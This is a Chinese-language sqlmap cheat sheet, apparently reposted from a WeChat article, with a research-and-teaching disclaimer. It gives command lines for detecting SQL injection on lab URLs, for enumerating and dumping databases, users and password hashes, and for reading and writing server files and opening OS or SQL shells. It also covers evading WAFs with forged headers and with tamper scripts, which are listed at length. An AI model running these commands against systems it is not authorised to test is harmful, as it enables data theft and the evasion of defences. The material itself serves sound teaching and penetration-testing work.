sqlmap支持5种注入模式:
1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
4、联合查询注入,可以使用union的情况下的注入。
5、堆查询注入,可以同时执行多条语句的执行时的注入。
sqlmap目前支持的数据库有:
MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB
sqlmap常用命令:
更新命令:
python sqlmap.py --update
常用URL注入语句:
sqlmap.py -url http://192.168.64.134/sql/Less-1/?id=1
--level (1-5)
执行测试等级level有5个等级,
默认等级为1,
进行Cookie测试时使用2 ,
进行use-agent或refer测试时使用3 ,
进行host测试时使用 5
--risk=RISK(0-3)
执行测试的风险,共有四个风险等级,
默认是1会测试大部分的测试语句,
2会增加基于事件的测试语句,
3会增加OR语句的SQL注入测试。
-v VERBOSE (0-6)信息级别:
0、只显示python错误以及严重的信息。
1、同时显示基本信息和警告信息(默认);
2、同时显示debug信息;
3、同时显示注入的payload;
4、同时显示HTTP请求;
5、同时显示HTTP响应头;
6、同时显示HTTP响应页面。
常见步骤如下:
step1:sqlmap -u ["URL"]
//测试是否存在注入
step2:sqlmap -u ["URL"] -current-db
//查询当前数据库
step3:sqlmap -u ["URL"] -D ["数据库名"] --tables
//查询当前数据库中的所有表
step4:sqlmap -u ["URL"] -D ["数据库名"] -T ["表名"] --columns
//查询指定库中指定表的所有列(字段)
step5:sqlmap -u ["URL"] -D ["数据库名"] -T ["表名"] -C ["列名"] --dump
//打印出指定库中指定表指定列中的字段内容
多个url注入:
sqlmap.py -m urls.txt
txt格式如下:
http://192.168.79.130/sqli/Less-1/?id=1
http://192.168.79.130/sqli/Less-2/?id=1
http://192.168.79.130/sqli/Less-3/?id=1
手机移动站点注入:
sqlmap.py -u “http://www.mobile.com?Id=1”--mobile
智能测试注入:
sqlmap.py -u“http://192.168.79.130/sqli/Less-1/?id=1”--batch --smart
--batch 自动选择yes
--smart 启发式快速判断,节约浪费时间
post及cookie注入:
sqlmap.py -r burpsuite抓包.txt
指定参数注入:sqlmap.py -r post.txt -p 注入参数
指定表单注入:sqlmap -u URL -data “username=a&password=a”
sqlmap表单注入:sqlmap.py -u URL -froms
信息枚举(可以组合使用):
-a, --all 获取所有信息
-b, --banner 获取数据库管理系统的标识
--current-user 获取数据库管理系统当前用户
--current-db 获取数据库管理系统当前数据库
--hostname 获取数据库服务器的主机名称
--is-dba 检测DBMS当前用户是否DBA
--users 枚举数据库管理系统用户
--passwords 枚举数据库管理系统用户密码哈希
--privileges 枚举数据库管理系统用户的权限
--roles 枚举数据库管理系统用户的角色
--dbs 枚举数据库管理系统数据库
--tables 枚举的DBMS数据库中的表
--columns 枚举DBMS数据库表列
--schema 枚举数据库架构
--count 检索表的项目数,有时候用户只想获取表中的数据个数而不是具体的内容,那么就可以使用这个参数:sqlmap.py -u url --count -D testdb
--dump 转储数据库表项
--dump-all 转储数据库所有表项
--search 搜索列(S),表(S)和/或数据库名称(S)
--comments 获取DBMS注释
-D DB 要进行枚举的指定数据库名
-T TBL DBMS数据库表枚举
-C COL DBMS数据库表列枚举
-X EXCLUDECOL DBMS数据库表不进行枚举
-U USER 用来进行枚举的数据库用户
--exclude-sysdbs 枚举表时排除系统数据库
--pivot-column=P.. Pivot columnname
--where=DUMPWHERE Use WHEREcondition while table dumping
--start=LIMITSTART 获取第一个查询输出数据位置
--stop=LIMITSTOP 获取最后查询的输出数据
--first=FIRSTCHAR 第一个查询输出字的字符获取
--last=LASTCHAR 最后查询的输出字字符获取
--sql-query=QUERY 要执行的SQL语句
--sql-shell 提示交互式SQL的shell
--sql-file=SQLFILE 要执行的SQL文件
系统文件操作
--file-read
“文件路径” 据库服务器中读取文件
--file-write “本地文件路径”,
--file-dest “目标文件路径” 把文件上传到目标服务器
--os cmd, --os-shell
运行任意操作系统命令
绕过waf常用方法(可以使用一种或多种组合使用):
检测waf类型:
sqlmap.py -u “http://test.com/test.php?Id=1”--identify-waf
使用代理:
sqlmap.py -u “http://test.com/test.php?Id=1” --proxy=http://127.0.0.1:8080(代理地址)
延迟连接:
sqlmap.py -u “http://test.com/test.php?Id=1” --delay=3 (单位为秒)
使用随机Usre-Agent:
sqlmap.py -u “http://test.com/test.php?Id=1” --random-agent(过安全狗有点用)
指定User-Agent:
sqlmap.py -u “http://test.com/test.php?Id=1” --user-agent=”Firefox/xxx”
调整并发线程数:
sqlmap.py -u “http://test.com/test.php?Id=1” --threads=4(线程数)
指定Referer字段:
sqlmap.py -u “http://test.com/test.php?Id=1”--referer="https://www.baidu.com/index.html"
更换错误请求:
sqlmap.py -u “http://test.com/test.php?Id=1” --safe-url(正常的网站)
使用sqlmap自带的过waf脚本:
sqlmap.py -u “http://test.com/test.php?Id=1” --tamper[“脚本名称”]
(如果脚本失效,可以自定义脚本)
注:脚本文件位于sqlmap文件夹下的tamper文件夹里面
apostrophemask.py 用UTF-8全角字符替换单引号字符
apostrophenullencode.py 用非法双字节unicode字符替换单引号字符
appendnullbyte.py 在payload末尾添加空字符编码
base64encode.py 对给定的payload全部字符使用Base64编码
between.py 分别用“NOT BETWEEN 0 AND #”替换大于号“>”,“BETWEEN # AND #”替换等于号“=”
bluecoat.py 在SQL语句之后用有效的随机空白符替换空格符,随后用“LIKE”替换等于号“=”
chardoubleencode.py 对给定的payload全部字符使用双重URL编码(不处理已经编码的字符)
charencode.py 对给定的payload全部字符使用URL编码(不处理已经编码的字符)
charunicodeencode.py 对给定的payload的非编码字符使用Unicode URL编码(不处理已经编码的字符)
concat2concatws.py 用“CONCAT_WS(MID(CHAR(0), 0, 0), A, B)”替换像“CONCAT(A, B)”的实例
equaltolike.py 用“LIKE”运算符替换全部等于号“=”
greatest.py 用“GREATEST”函数替换大于号“>”
halfversionedmorekeywords.py 在每个关键字之前添加MySQL注释
ifnull2ifisnull.py 用“IF(ISNULL(A), B, A)”替换像“IFNULL(A, B)”的实例
lowercase.py 用小写值替换每个关键字字符
modsecurityversioned.py 用注释包围完整的查询
modsecurityzeroversioned.py 用当中带有数字零的注释包围完整的查询
multiplespaces.py 在SQL关键字周围添加多个空格
nonrecursivereplacement.py 用representations替换预定义SQL关键字,适用于过滤器
overlongutf8.py 转换给定的payload当中的所有字符
percentage.py 在每个字符之前添加一个百分号
randomcase.py 随机转换每个关键字字符的大小写
randomcomments.py 向SQL关键字中插入随机注释
securesphere.py 添加经过特殊构造的字符串
sp_password.py 向payload末尾添加“sp_password” for automatic obfuscation from DBMS logs
space2comment.py 用“/**/”替换空格符
space2dash.py 用破折号注释符“--”其次是一个随机字符串和一个换行符替换空格符
space2hash.py 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符
space2morehash.py 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符
space2mssqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
space2mssqlhash.py 用磅注释符“#”其次是一个换行符替换空格符
space2mysqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
space2mysqldash.py 用破折号注释符“--”其次是一个换行符替换空格符
space2plus.py 用加号“+”替换空格符
space2randomblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
unionalltounion.py 用“UNION SELECT”替换“UNION ALL SELECT”
unmagicquotes.py 用一个多字节组合%bf%27和末尾通用注释一起替换空格符 宽字节注入
varnish.py 添加一个HTTP头“X-originating-IP”来绕过WAF
versionedkeywords.py 用MySQL注释包围每个非函数关键字
versionedmorekeywords.py 用MySQL注释包围每个关键字
xforwardedfor.py 添加一个伪造的HTTP头“X-Forwarded-For”来绕过WAF
原文始发于微信公众号(菜鸟小新):sqlmap常用命令介绍
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论